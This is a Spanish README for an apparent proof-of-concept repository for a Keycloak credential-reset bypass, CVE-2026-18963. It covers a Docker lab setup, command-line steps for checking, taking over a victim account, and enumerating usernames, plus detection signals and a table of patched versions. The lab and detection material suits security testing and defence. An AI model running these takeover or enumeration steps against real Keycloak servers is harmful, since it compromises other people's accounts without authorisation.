
Este repositorio es un PoC de cve-2026-18963. Por favor, úsalo en productos legales (laboratorio, local, ...).
Omisión de restablecimiento de credenciales en Keycloak → toma de control de cuenta no autenticada CVSS 9.1 | Afecta: Keycloak 26.0.0 – 26.7.1
Este laboratorio está reconstruido a partir del README original de
snizi/cve-2026-18963-exploit.
CVE-2026-18963/
├── cve_2026_18963_poc.py <- Script PoC (Python 3.9+, solo biblioteca estándar)
├── README.md
├── docker-compose.yml <- Entorno de laboratorio
└── realm-poc.json <- Configuración del realm de Keycloak (importación automática)
docker compose up -d
O ejecutar Keycloak directamente, sin la importación del realm:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Espera ~30–60 segundos a que Keycloak termine de arrancar.
| Servicio | URL | Versión | Estado |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | VULNERABLE ⚠️ |
| Mailpit | http://localhost:8025 | latest | Captura correos |
admin / adminvictim / OriginalPassw0rd!poc | Cliente: poc-apppoc o el usuario victim no existen, impórtalos manualmente:
Manage realms → Create realm → Subir realm-poc.json.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
Resultado esperado en kc-vuln:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
Efectos secundarios: se envía un correo de restablecimiento a la víctima (consúltalo en http://localhost:8025), y
emailVerifiedse establece entrue.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
Después, verifica iniciando sesión en http://localhost:8080/realms/poc/account
con victim / PoCPassw0rd!1.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
El realm solo se importa en el primer arranque, por lo que el restablecimiento más sencillo es recrear el entorno desde cero:
docker compose down -v && docker compose up -d
Alternativamente, restablece la contraseña manualmente en la consola de administración
(http://localhost:8080/admin): Users → victim → Credentials → Reset password
→ OriginalPassw0rd!.
docker compose down -v
| Señal | Legítimo | Exploit |
|---|---|---|
GET /login-actions/action-token?... | ✅ Sí | ❌ No |
POST .../reset-credentials con cuerpo tryAnotherWay=yes | ❌ No | ✅ Sí |
SEND_RESET_PASSWORD → UPDATE_PASSWORD con el mismo code_id < 2 s | Raro | ✅ Siempre |
emailVerified cambia a true sin evento VERIFY_EMAIL | ❌ | ✅ Siempre |
En Mailpit (http://localhost:8025) el correo de restablecimiento de contraseña llega al buzón de la víctima, pero el enlace que contiene nunca se hace clic cuando el exploit tiene éxito.
| Línea de versión | Afectada | Corrección |
|---|---|---|
| ≤ 17 (WildFly) | No | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | Ninguna (debe migrar a 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (backport del proveedor) |
| 26.5 | 26.5.0 – 26.5.7 | Ninguna |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (backport del proveedor) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
Las versiones anteriores a 26.0 no están afectadas: la nota persistente
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDy la pantalla del selector "Try another way" en el flujo de restablecimiento se introdujeron en 26.0.0. Las compilaciones más antiguas simplemente carecen de la ruta de código vulnerable; eso no es lo mismo que estar parcheadas.